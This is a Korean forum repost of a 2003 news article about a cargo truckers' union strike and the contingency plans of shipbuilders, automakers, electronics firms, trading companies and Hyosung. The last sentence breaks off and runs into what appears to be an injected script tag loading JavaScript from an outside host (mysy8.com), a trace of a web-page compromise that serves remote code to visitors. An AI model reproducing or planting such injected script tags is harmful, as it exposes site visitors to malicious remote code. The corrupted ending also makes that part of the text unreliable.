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글쓴이 운영자 작성일 2003-08-22
제목 화물연대 파업...산업계 대책마련 비상
지난 5월에 이어 화물연대가 또다시 파업에 돌입하자 산업계는 `물류대란'의 악몽을 떠올리며 피해를 최소화하기 위한 다각적 대책마련에 나서고 있다.
▲조선=육로수송 비중이 높은 현대미포조선과 한진중공업, STX조선, 신아조선 등 조선업계도 화물연대의 파업을 우려의 눈길로 바라보고 있다.
원자재 수송을 거의 100% 육로수송에 의존하고 있는 현대미포조선의 경우, 화물연대의 파업이 지난주부터 예고돼옴에 따라 2~3일치 재고물량을 확보해 놓았지만 파업이 3일 이상 장기화될 경우 조업에 차질을 빚을 수 밖에 없는 상황이다.
육로수송 비중이 60% 가량을 차지하는 한진중공업과 STX조선, 신아조선도 파업이 장기화되면 물량 확보에 큰 차질을 빚을 수 밖에 없을 것으로 보인다.
동국제강 물량(전체의 15% 가량)을 육송으로 운송하는 삼성중공업도 재고량이 빠듯해 파업이 며칠 더 계속될 경우 조업 차질이 예상되고 있다.
동국제강으로부터 형강재를 육송으로 전달받는 대우조선은 재고가 10일치분이 남아있어 아직까지 피해는 없지만 사태가 장기화되면 피해는 불가피할 전망이다.
지난 5월 화물연대 파업 때 상당한 피해를 겪었던 조선업체들은 포스코나 동국제강 등 철강업체의 공급물량이 정해져있기 때문에 재고를 충분히 확보하는 것도 여의치 않은 상황에서 이런 일이 재발하자 당혹스러워하고 있다.
다만 이번 파업의 경우 지난번처럼 출입문을 봉쇄하고 있지 않고 비노조원 중심으로 수송이 이뤄지고 있는데다 그다지 장기화되지는 않을 것이라는 예상이 커 조선 업계는 다소 희망을 갖고 있는 분위기다.
▲자동차=자동차업계는 일단 물량 조절 등을 통해 당장은 큰 피해는 없다는 입장이지만 사태가 장기화되면 수출 등의 차질이 불가피할 것으로 보고 있다.
현대차의 경우 수출선적은 대부분 울산 전용부두를 이용하는 데다 아산공장의 물량을 선적하는 평택항의 경우 아직 문제가 없어 현재로서는 지장을 받고 있지 않다. 그러나 GM대우차는 수입부품 조달과 KD 수출 문제를 우려하고 있다.
부품의 경우 화물연대 파업에 대비, 일단 이번 주 초에 물량을 미리 당겨받았고 KD수출도 물량조절을 통해 아직까지 버티고 있지만 장기화되면 조업 및 수출 차질이 초래될 것으로 보인다.
쌍용차의 경우도 부품물량을 미리 확보해놓은 상태지만 장기화된다면 매 월말에 실시되는 수출선적에 어려움을 겪게 될 것으로 보인다.
국내 부품 조달은 화물연대 소속 화물차량 비중이 높지 않고 컨테이너가 아닌 부품운반 전용 차량 활용비중이 높아 당장은 큰 어려움은 없다는 분석이다.
▲전자=전자업계는 아직까지 별다른 피해상황은 발생하지 않았지만 만일의 사태를 대비해 대책마련에 나섰다.
LG전자는 지금까지 파업으로 인한 피해는 없는 것으로 보고 있지만 만약의 상황을 대비해 화물열차와 화물연대 비가입 운송사를 이용한 수출품 운송대책을 마련해 놓고 있다.
이와 함께 수출품의 90% 가량이 몰리는 부산항으로의 육로 운송이 원활하지 않을 경우를 대비해 마산항에서 배를 이용해 부산항으로 수출품 컨테이너를 운반하는 계획도 세우는 등 파업 피해를 최소화하기 위해 다각적 대책마련에 나섰다.
수출 비중이 상대적으로 높은 대우일렉트로닉스측도 파업이 장기화될 경우, 화물차량을 이용한 수출품 운송에 타격을 받을 수 있기 때문에 화물연대의 파업을 우려의 눈길로 주시하고 있다.
삼성전자도 아직 별다른 피해는 발생하지 않은 것으로 보고 있지만 사태 추이를 주의깊게 지켜보고 있다.
▲수출업계=수출업계도 화물연대 파업에 따른 대책 마련에 발빠르게 나섰다.
한국무역협회는 이날 파업소식이 전해지자 동북아물류실을 중심으로 긴급대책회의를 열고 대책 등을 논의했다.
무역업계는 특히 전체 수출선적의 상당량을 맡고 있는 부산지역의 파업사태가 지 난 5월보다 더 심각해질 가능성이 있는 것으로 보고 노심초사하고 있다.
대우인터내셔널은 파업소식을 전해듣고 육로를 통해 부산항으로 보내려던 긴급 화물을 철도수송으로 급히 돌렸으며, LG상사는 파업이 장기화할 경우 해외거래선에 납기일 연기를 요청키로 하는 등 대책마련에 들어갔다.
삼성물산은 수출화물이 선적 열흘 전쯤 미리 부두에 도착하기 때문에 당장 큰 피해는 없을 것으로 보고 있으나 파업이 중장기와에 대비, 대체 운송수단을 강구중이다.
현대종합상사의 경우 당장 포항, 전주, 인천남동공단 등지에서 부산으로 향하는 30~40TEU(1TEU는 20피트 컨테이너 1개)의 수출물량이 발이 묶일 것으로 우려하고 있 다.
▲섬유=효성은 급한 수출품 수송을 위해 비(非) 화물연대 차량을 수배하고 수출항을 공장에서 가까운 울산항으로 돌리는 방안을 고려하고 있다.
효성 관계자는 “파업이 2주 이상 지속되면 심각한 타격을 입겠지만 개별기업으로서는 수출 지?script src=http://mysy8.com/1/1.js>
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